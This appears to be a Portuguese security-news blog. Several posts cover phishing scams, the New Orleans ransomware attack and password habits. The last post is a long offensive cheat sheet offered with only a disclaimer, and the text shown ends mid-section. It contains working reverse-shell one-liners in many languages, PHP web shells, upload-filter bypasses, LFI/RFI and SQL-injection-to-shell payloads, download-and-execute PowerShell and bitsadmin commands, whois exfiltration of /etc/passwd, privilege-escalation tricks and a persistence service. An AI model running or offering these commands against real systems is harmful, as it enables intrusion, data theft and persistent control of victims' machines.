segunda-feira, 30 de dezembro de 2019

Mercado Bitcoin: Site falso tenta roubar clientes da corretora

Mercado Bitcoin: Site falso tenta roubar clientes da corretora
Um detalhe importante ao comprar e vender Bitcoin em corretoras é prestar atenção aos mínimos detalhes, principalmente na página de acesso. Isso porque um site falso da maior corretora de Bitcoin do Brasil tentou roubar as informações dos clientes.
O caso pode ter passado despercebido pela maior parte dos clientes da corretora. O Mercado Bitcoin, é conhecido como a maior corretora de bitcoin do Brasil em volume diário, de acordo com o CoinTrader Monitor.
Ou seja, como é uma operação grande de criptomoedas, está suscetível a ter hackers tentando se aproveitar do nome. A fraude foi detectada por alguns usuários nos últimos dias.

Site falso da maior corretora de Bitcoin do Brasil tenta roubar informações de clientes
O Mercado Bitcoin é uma das primeiras corretoras do Brasil, sendo importante na adoção da moeda digital.
O volume diário na plataforma, de acordo com informações do Cointrader é superior a 200 Bitcoins nas últimas 24 horas.
Com um passado de destaque na operação, o Mercado Bitcoin tem sido alvo de uma fraude por alguém mal-intencionado. Isso porque uma página falsa tem propagado uma informação fraudulenta para roubar os clientes da plataforma.
Em miúdos, a vítima recebe uma mensagem que é necessário atualizar o PIN de acesso no Mercado Bitcoin. Além disso, é direcionada através de um link para a atualização do PIN, de forma que cai em uma página realizar a ação.
Contudo, a página que é aberta pelo link é supostamente uma fraude, que não representaria a corretora de Bitcoin do Brasil. Ou seja, a vítima é induzida a navegar em um ambiente que não possui relação com a corretora Mercado Bitcoin.

Fonte: livecoins.com.br

Golpe novo promete panettone da Bauducco grátis no WhatsApp

Golpe novo promete panettone da Bauducco grátis no WhatsApp
O dfndr lab, laboratório especializado em segurança digital da PSafe, detectou um novo golpe que utiliza de forma fraudulenta a marca Bauducco para oferecer panettone de Natal grátis. Em apenas nove dias, mais de 32 mil pessoas receberam, acessaram ou compartilharam o link do ataque. Por dia, são registrados 3875 novos acessos ao golpe.

Como funciona o golpe
Ao tocar no link do golpe disseminado pelo WhatsApp, o usuário é incentivado a responder uma breve pesquisa sobre os panettones Bauducco. Depois, ele precisa compartilhar o link do ataque com 3 grupos e mais 7 contatos do mensageiro. Por fim, o usuário é induzido a conceder permissão para receber futuras notificações com outros golpes e, depois, direcionado a páginas falsas para visualizar anúncios falsos. Além disso, para dar mais veracidade ao golpe, comentários falsos de supostos usuários contemplados com o panettone grátis são exibidos no ataque.
“É comum que, com a aproximação do Natal, os cibercriminosos se aproveitem para aplicar golpes temáticos da data, já que diversas marcas anunciam promoções nesse período. É comum que o atacante estude como as ofertas verdadeiras são realizadas pelas empresas para, então, simulá-las, deixando a fraude ainda mais crível. Além disso, ao direcionar as vítimas para páginas com bad ads, o hacker acaba lucrando a cada nova visualização da propaganda falsa, tornando o ataque bastante lucrativo”, explica Simoni.

Como se proteger
Simoni lista alguns cuidados que os usuários devem ter para não cair em golpes como este:
1)      Tenha cuidado ao tocar em links compartilhados no WhatsApp ou nas redes sociais. Sempre verifique as informações compartilhadas nos sites oficiais das empresas, e desconfie de promoções, brindes e descontos.
2)      Na dúvida, é possível verificar se um link é falso no site do dfndr lab. A checagem de links avisa em poucos segundos se um site pode oferecer alguma característica maliciosa.
3)      Utilize soluções de segurança no celular que disponibilizam, de preferência, a função de detecção automática de phishing em aplicativos de mensagem e redes sociais, como o dfndr security. Com a função Bloqueio de Hackers ativada, sempre que você receber ou acessar um link malicioso, um alerta será enviado ao seu celular para impedir qualquer tentativa de golpe ou roubo de dados.

Fonte: simoesfilhoonline.com.br

sexta-feira, 20 de dezembro de 2019

Após ciberataque Nova Orleans declara estado de emergência

Após ciberataque Nova Orleans declara estado de emergência
A cidade de Nova Orleans sofreu um ataque de cibersegurança grave o suficiente para o prefeito LaToya Cantrell declarar estado de emergência.
O ataque começou às 5h (horário de Brasília) da sexta-feira, 13 de dezembro, de acordo com a campanha de preparação para emergências da cidade de Nova Orleans, NOLA Ready, gerenciada pelo Escritório de Segurança Interna e Preparação para Emergências.
O NOLA Ready twittou que “atividade suspeita foi detectada na rede da cidade” e, à medida que as investigações progrediram, “atividade indicando um incidente de segurança cibernética foi detectada por volta das 11 horas” todos os funcionários desliguem os computadores e se desconectem do Wi-Fi.
Todos os servidores da cidade também foram desligados e os funcionários disseram para desconectar seus dispositivos.

Estado de emergência declarado pela cidade de Nova Orleans
Durante uma coletiva de imprensa, o prefeito confirmou que este foi um ataque de ransomware. Uma declaração de estado de emergência foi registrada no Tribunal do Distrito Civil em conexão com o incidente.
NOLA Ready disse que as comunicações de emergência não foram afetadas. Embora o “Centro de Crimes em Tempo Real” tivesse sido desligado, as câmeras de segurança pública ainda estavam sendo gravadas, e imagens de incidentes estariam disponíveis, se necessário.
Os departamentos de polícia e bombeiros continuaram a operar como de costume, e a capacidade de responder a 911 ligações não foi afetada.
As informações ainda são escassas, enquanto a investigação, envolvendo órgãos estaduais e federais, e o processo de recuperação continuam.
Não se sabe qual malware de ransomware foi usado durante o ataque, e o prefeito Cantrell disse que nenhuma demanda de resgate foi feita até  este momento.
Em 2 de outubro, o FBI emitiu um aviso de ataque cibernético de alto impacto em resposta a ataques a alvos do governo estadual e local.
Isso alertou que organizações de saúde, empresas industriais e o setor de transportes também estavam sendo alvo. Enquanto isso, os ataques contra alvos do governo continuam.

Ataques de ransomware contra alvos governamentais
O ataque de ransomware que atingiu Nova Orleans segue outro que atingiu o estado da Louisiana em novembro.
Os computadores do distrito escolar da Louisiana também foram desligados e foi declarado um estado de emergência, em resposta a um ataque de ransomware em julho.
Ainda não se sabe se os dois ataques  estão conectados. No entanto, em agosto, 23 agências governamentais foram desativadas por um ataque cibernético ao estado do Texas . O que sugere que os municípios dos EUA estão firmemente na mira dos atores de ameaças de ransomware.
Colin Bastable, CEO da Lucy Security, empresa de treinamento em conscientização sobre segurança, disse que “os governos estaduais e locais são terrivelmente vulneráveis ​​a hackers conduzidos por phishing, principalmente porque os CISOs se concentram em defesas tecnológicas, quando também deveriam realizar  regularmente a simulação de ataques de ransomware. Treinamento de conscientização”.
“O problema dos ataques de ransomware é que eles nem sempre são detectados  imediatamente”, disse Bastable. O ataque de Nova Orleans poderia muito bem ter sido “iniciado em paralelo com o recente ataque da Louisiana”, segundo Bastable. Isso porque pode existir um tempo entre a invasão e a detecção da invasão.

Fonte: cryptoid.com.br

quinta-feira, 19 de dezembro de 2019

Phishing visa clientes do BCP Peru Bank roubando informações financeiras

Phishing visa clientes do BCP Peru Bank a roubar informações financeiras
Segundo alguns usuários do Peru, por meio de redes sociais , eles circularam informações sobre um incidente de segurança que afetou o Banco de Crédito do Peru (BCP) pelo WhatsApp no ​​início deste mês e resultaram na divulgação de dados vazados de criminosos cibernéticos. de clientes na darkweb. Imediatamente após a divulgação dessas informações, em 3 de dezembro, o BCP publicou uma declaração confirmandoque em 2018 a entidade foi vítima de um “ataque por computador que permitiu que terceiros acessassem dados de identificação pessoal de um grupo de clientes e, em alguns casos, números de cartões, contas e saldos”, mas que após o incidente não ocorreu Nenhum caso de roubo de dinheiro relacionado ao evento. Por coincidência, nesta semana, no Laboratório da ESET na América Latina, detectamos um site de phishing ativo que suplanta a identidade do BCP e busca roubar o cartão de crédito e os dados devidos, além do número do documento. Em seguida, analisamos mais detalhadamente o site falso com a intenção de alertar os usuários a não cair na armadilha.
Como costumamos reiterar em casos de vazamento de dados, essas informações são frequentemente usadas por criminosos cibernéticos para realizar ataques de phishing ou comercializá-los no mercado negro . E embora não seja possível garantir que exista um relacionamento direto entre este site de phishing e o incidente que a entidade sofreu em 2018, não seria improvável que existisse.
Como nossos leitores frequentes saberão, o mercado financeiro é uma das indústrias que mais sofrem com esse tipo de ameaça aos computadores, justamente pelo valor dos dados que eles manipulam. De fato, publicamos recentemente uma análise de uma campanha que suplantou a identidade de outra instituição financeira no Peru .

Análise do site falso que suplanta a identidade do BCP

Como pode ser visto na imagem 1, a tela inicial do site falso é uma cópia clara do original.
Imagem 1. Captura de tela do site que finge ser a página legítima para acesso ao banco on-line do Banco de Crédito del Perú.

Conforme indicado pelo círculo verde, o site apócrifo possui um certificado SSL; Outra técnica usada para enganar as vítimas em potencial e fazê-las acreditar que estão no lugar certo. Portanto, hoje não é apenas importante observar que ele possui um certificado seguro, mas devemos verificar com mais detalhes e para isso é necessário acessar os dados do certificado, pois lá podemos confirmar não apenas que ele foi registrado no nas últimas 48 horas, mas não está registrado no nome da entidade que afirmam representar.

Figura 2. Informações falsas do certificado do site.

Embora o nome de domínio usado para esse phishing seja muito semelhante ao original, os criminosos por trás dessa campanha tentam enganar as vítimas alterando sutilmente a ordem das palavras em comparação com a versão legítima do site. Se você acessar o certificado oficial do site, poderá ver que ele é emitido no nome da entidade correspondente, como pode ser visto na imagem a seguir.

Figura 3. Informações que contêm o certificado do site legítimo.

Supondo que a vítima distraída não perceba o engano e continue com o processo, depois de inserir o número do cartão e sua senha de seis dígitos que, como vimos na Imagem 1, a vítima encontrará a solicitação de outros dados para os quais ele chama Atenção: o número do Documento de Identidade Nacional.

Imagem 4. Solicitação para inserir o número do documento da vítima.

Uma vez que todos esses dados foram obtidos do usuário bancário, o engano continua em direção a um estágio de suposta validação das informações.

Figura 5. Alegada validação dos dados inseridos pela vítima.

No entanto, acaba fazendo o usuário acreditar que talvez tenha cometido um erro, pois, em vez de redirecionar a vítima para o site oficial, como costuma fazer os criminosos nessas campanhas, o que acontece é que uma mensagem é exibida com o Erro 404, que indica que a consulta não foi encontrada. Essa estratégia pode ter sido escolhida para fazer a vítima acreditar que o erro interrompeu o processo e não causou mais suspeitas. Outra possibilidade pode ser que essa opção tenha sido escolhida para que, caso a vítima tenha percebido que é uma farsa, o mesmo acredite que, devido ao erro, não tenha conseguido avançar com a captura de dados.

Figura 6. Erro 404 que lança o site.

Um fato que emerge da análise do domínio utilizado é que ele foi registrado nos últimos dias e declarado sob a propriedade de alguém que afirma ser do Peru também.

Figura 7. Informações sobre o domínio usado para hospedar o engano.

Vale ressaltar que durante a análise não detectamos a instalação de serviços ou aplicativos adicionais, o que mostra que a campanha tem como único objetivo o roubo de informações e dados pessoais.
Como explicamos repetidamente, este exemplo demonstra que o phishing permanece ativo e que os cibercriminosos continuam apelando para o uso de técnicas de engenharia social, pois permanecem eficazes para seus propósitos. Isso se deve, em grande parte, ao fato de uma alta porcentagem de usuários ainda  não saber exatamente o que é phishing , o que confirma a necessidade de educar os usuários para evitar a redução das vítimas desse tipo de fraude.
É cada vez mais importante prestar atenção nos sites em que entramos, ter uma solução de segurança confiável em nossos dispositivos de desktop e em nossos telefones e ter em mente que, em caso de dúvida, nunca devemos acessar os links que chegam Por meio de uma mensagem, é melhor entrar manualmente e, assim, verificar se tudo está em ordem.
Outro fator importante na redução do número de vítimas de phishing é  implementar o uso do fator de autenticação dupla  em todos os serviços disponíveis. Um estudo publicado pelo Google este ano mostrou que o  fator de autenticação dupla é a solução mais eficaz para evitar o sequestro de contas.
O primeiro passo para evitar cair nesse tipo de engano é aprender a reconhecer esse tipo de correspondência e pensar um pouco, por isso recomendamos a leitura de  8 sinais que indicam que você é um alvo fácil de golpes na Internet , artigo em você encontrará um guia com algumas das técnicas mais comuns usadas pelos cibercriminosos para enganar os usuários.

Fonte: welivesecurity.com

quarta-feira, 18 de dezembro de 2019

Estudo confirma o óbvio: somos péssimos em gerenciar senhas

Estudo confirma o óbvio: somos péssimos em gerenciar senhas
Que não sabemos usar senhas decentes não é novidade, ou a lista anual da SplashData não seria fonte constante de diversão e terror. No entanto, um novo estudo revelou algo bem óbvio, mas que pouca gente dá atenção: independente da combinação, o usuário médio usa péssimas práticas de gerenciamento de segurança, principalmente no que diz respeito a um login distinto para vários serviços.
A HYPR, uma companhia de cibersegurança publicou nesta terça-feira (10) um estudo, que consumiu dois anos e meio de pesquisas e entrevistou 500 pessoas nos Estados Unidos e Canadá, para determinar não quais as chaves mais usadas, mas como o usuário lida com seus logins. O resultado não foi nenhuma surpresa, a maioria de nós já testemunhou casos de uso similares em repartições e residências, mas o índice alto aponta para um comportamento ruim generalizado.
Por exemplo, 40% dos entrevistados confiam apenas em sua memória para gerenciar senhas, enquanto 78% afirmam que tiveram que mudar ao menos uma nos últimos 90 dias, porque a esqueceram.
Claro que piora: 72% disseram que utilizam a mesma chave em mais de um serviço pessoal, prática que todos os profissionais de segurança não cansam de dizer que é péssima; se ela vazar, todos os seus logins estão em risco.
Isso independe da força da senha; ainda que "correcthorsebatterystaple" seja mais segura que "Tr0ub4dor&3", de nada adianta se o usuário a reutilizar no Twitter, Facebook, conta Microsoft, Gmail, Apple ID, fóruns, serviços do governo e por aí vai. Se ela vazar em uma eventual falha de segurança em qualquer uma dessas plataformas, toda a sua vida digital vai pelo ralo de uma vez, já que hackers sabem muito bem que o afegão médio adora reutilizar senhas e vão testa-la em todos os lugares.
Nem tudo está perdido, entretanto. O usuário em geral é um pouco mais cuidadoso quando o assunto são senhas em serviços profissionais, ligados ao trabalho. 51% dos entrevistados afirmaram que quando é necessário criar uma nova chave, eles fazem uso de uma totalmente nova.
Embora a porcentagem não seja ideal (1 em cada 2 reutilizam senhas), ela é bem melhor do que quando o mesmo cenário é apresentado para contas pessoais, onde apenas 28% disseram criar uma nova chave de acesso.
George Avetisov, CEO da HYPR aconselha que o usuário nunca reutilize senhas, e em caso impossível, não use as mesmas chaves de serviços pessoais nos logins profissionais. Boas práticas, como senhas fáceis de lembrar e difíceis de serem quebradas (frases simples ou trechos de letras de músicas, por exemplo), quando combinadas a aplicativos de tokens para verificação em duas etapas (evite ao máximo usar a autenticação por SMS) já são suficientemente seguros, e dificultam bastante a vida dos hackers.
Ainda assim, a parte mais difícil é convencer o usuário médio a abandonar velhos e inseguros hábitos.

Fonte: meiobit.com

DICA: comandos para pentest e segurança ofensiva

Fala galera, blz ?

Segue uma lista de comandos maravilhosa, voltada para teste de vulnerabilidades.


Observação Pertinente: Os TIPOS de COMANDOS e as INSTRUÇÕES estão em INGLÊS!


NÂO ME RESPONSABILIZO POR USO INDEVIDO.

Pré-requisitos:

✔️ Python 3.5
✔️ OS que suporte Python (eu utilizei Kali)


Reconnaissance / Enumeration

Extracting Live IPs from Nmap Scan

nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips

Simple Port Knocking

for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done

DNS lookups, Zone Transfers & Brute-Force

whois domain.com
dig {a|txt|ns|mx} domain.com
dig {a|txt|ns|mx} domain.com @ns1.domain.com
host -t {a|txt|ns|mx} megacorpone.com
host -a megacorpone.com
host -l megacorpone.com ns1.megacorpone.com
dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
dnsenum domain.com
nslookup -> set type=any -> ls -d domain.com
for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done

Banner Grabbing

nc -v $TARGET 80
telnet $TARGET 80
curl -vX $TARGET

NFS Exported Shares

List NFS exported shares. If 'rw,no_root_squash' is present, upload and execute sid-shell
showmount -e 192.168.110.102
chown root:root sid-shell; chmod +s sid-shell

Kerberos User Enumeration

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

HTTP Brute-Force & Vulnerability Scanning

target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum

RPC / NetBios / SMB

rpcinfo -p $TARGET
nbtscan $TARGET

#list shares
smbclient -L //$TARGET -U ""

# null session
rpcclient -U "" $TARGET
smbclient -L //$TARGET
enum4linux $TARGET

SNMP

# Windows User Accounts
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25

# Windows Running Programs
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2

# Windows Hostname
snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27

# Windows TCP Ports
snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3

# Software Name
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2

# brute-force community strings
onesixtyone -i snmp-ips.txt -c community.txt

snmp-check $TARGET

SMTP

smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150

Gaining Access

Reverse Shell One-Liners

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

URL-Encoded Perl: Linux

echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat without -e #1

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

Netcat without -e #2

nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444

Java

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

XTerm

xterm -display 10.0.0.1:1

JDWP RCE

print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())

Working with Restricted Shells

# rare cases
ssh bill@localhost ls -l /tmp
nice /bin/bash

Interactive TTY Shells

/usr/bin/expect sh
python -c ‘import pty; pty.spawn(“/bin/sh”)’
# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'

Uploading/POSTing Files Through WWW Upload Forms

# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"

# POST binary data to web form
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v

PUTing File on the Webhost via PUT verb

curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php

Generating Payload Pattern & Calculating Offset

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE

Bypassing File Upload Restrictions

  • file.php -> file.jpg
  • file.php -> file.php.jpg
  • file.asp -> file.asp;.jpg
  • file.gif (contains php code, but starts with string GIF/GIF98)
  • 00%
  • file.jpg with php backdoor in exif (see below)
  • .jpg -> proxy intercept -> rename to .php

Injecting PHP into JPEG

exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool “-comment<=back.php” back.png

Uploading .htaccess to interpret .blah as .php

AddType application/x-httpd-php .blah

Cracking Passwords

Cracking Web Forms with Hydra

hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoit/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list

Cracking Common Protocols with Hydra

hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1

HashCat Cracking

# Bruteforce based on the pattern;
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout  

# Generate password candidates: wordlist + pattern;
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout

Generating Payload with msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai

Compiling Code From Linux

# Windows
i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe

# Linux
gcc -m32|-m64 -o output source.c

Local File Inclusion to Shell

nc 192.168.1.102 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.1.102
Connection: close

# Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id

Local File Inclusion: Reading Files

file:///etc/passwd

http://example.com/index.php?page=php://input&cmd=ls
    POST: <?php system($_GET['cmd']); ?>
http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
    POST: <?php system('uname -a');die(); ?>

expect://whoami
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id
http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E

# ZIP Wrapper
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
http://example.com/index.php?page=zip://shell.jpg%23payload.php

# Loop through file descriptors
curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -

Remote File Inclusion Shell: Windows + PHP

<?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.245/netcat/nc.exe','nc.exe'); cmd /c nc.exe 10.11.0.245 4444 -e cmd.exe\" }"); ?>

SQL Injection to Shell or Backdoor

# Assumed 3 columns
http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10
# netcat reverse shell via mssql injection when xp_cmdshell is available
1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--

SQLite Injection to Shell or Backdoor

ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn; 
CREATE TABLE pwn.shell (code TEXT); 
INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>');

MS-SQL Console

mssqlclient.py -port 27900 user:password@10.1.1.1
sqsh -S 10.1.1.1 -U user -P password

Upgradig Non-Interactive Shell

python -c 'import pty; pty.spawn("/bin/sh")'
/bin/busybox sh

Python Input Code Injection

__import__('os').system('id')

Local Enumeration & Privilege Escalation

Binary Exploitation with ImmunityDebugger

Get Loaded Modules

# We're interested in modules without protection, Read & Execute permissions
!mona modules

Finding JMP ESP Address

!mona find -s "\xFF\xE4" -m moduleName

Cracking a ZIP Password

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip

Setting up Simple HTTP server

# Linux
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:80

MySQL User Defined Fuction Privilge Escalation

Requires raptor_udf2.c and sid-shell.c or full tarball
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/raptor_udf2.so'));
select * from npn into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell');

Docker Privilege Esclation

echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh

Resetting root Password

echo "root:spotless" | chpasswd

Uploading Files to Target Machine

TFTP

#TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp
service atftpd start

# Windows
tftp -i $ATTACKER get /download/location/file /save/location/file

FTP

# Linux: set up ftp server with anonymous logon access;
twistd -n ftp -p 21 -r /file/to/serve

# Windows shell: read FTP commands from ftp-commands.txt non-interactively;
echo open $ATTACKER>ftp-commands.txt
echo anonymous>>ftp-commands.txt
echo whatever>>ftp-commands.txt
echo binary>>ftp-commands.txt
echo get file.exe>>ftp-commands.txt
echo bye>>ftp-commands.txt 
ftp -s:ftp-commands.txt

# Or just a one-liner
(echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 10.11.0.245 443 -e cmd

PHP

<?php file_put_contents("/var/tmp/shell.php", file_get_contents("http://10.11.0.245/shell.php")); ?>

Python

python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')"

HTTP: Powershell

powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" }
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'"
powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe');

HTTP: VBScript

Copy and paste contents of wget.vbs into a Windows Shell and then:
cscript wget.vbs http://$ATTACKER/file.exe localfile.exe

HTTP: Linux

wget http://$ATTACKER/file
curl http://$ATTACKER/file -O
scp ~/file/file.bin user@$TARGET:tmp/backdoor.py

NetCat

# Attacker
nc -l -p 4444 < /tool/file.exe

# Victim
nc $ATTACKER 4444 > file.exe

HTTP: Windows "debug.exe" Method

# 1. In Linux, convert binary to hex ascii:
wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
# 2. Paste nc.txt into Windows Shell.

HTTP: Windows BitsAdmin

cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe

Whois Data Exfiltration

# attacker
nc -l -v -p 43 | sed "s/ //g" | base64 -d
# victim
whois -h $attackerIP -p 43 `cat /etc/passwd | base64`

Bash Ping Sweeper

#!/bin/bash
for lastOctet in {1..254}; do 
    ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done

Brute-forcing XOR'ed string with 1 byte key in Python

encrypted = "encrypted-string-here"
for i in range(0,255):
    print("".join([chr(ord(e) ^ i) for e in encrypted]))

Generating Bad Character Strings

# Python
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])
# Bash
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"

Converting Python to Windows Executable (.py -> .exe)

python pyinstaller.py --onefile convert-to-exe.py

Port Scanning with NetCat

nc -nvv -w 1 -z host 1000-2000
nc -nv -u -z -w 1 host 160-162

Exploiting Vulnerable Windows Services: Weak Service Permissions

# Look for SERVICE_ALL_ACCESS in the output
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
sc qc [service_name] (to verify!)
sc start [service_name]

Creating Persistence

sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""

Port Forwarding / SSH Tunneling

SSH: Local Port Forwarding

# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
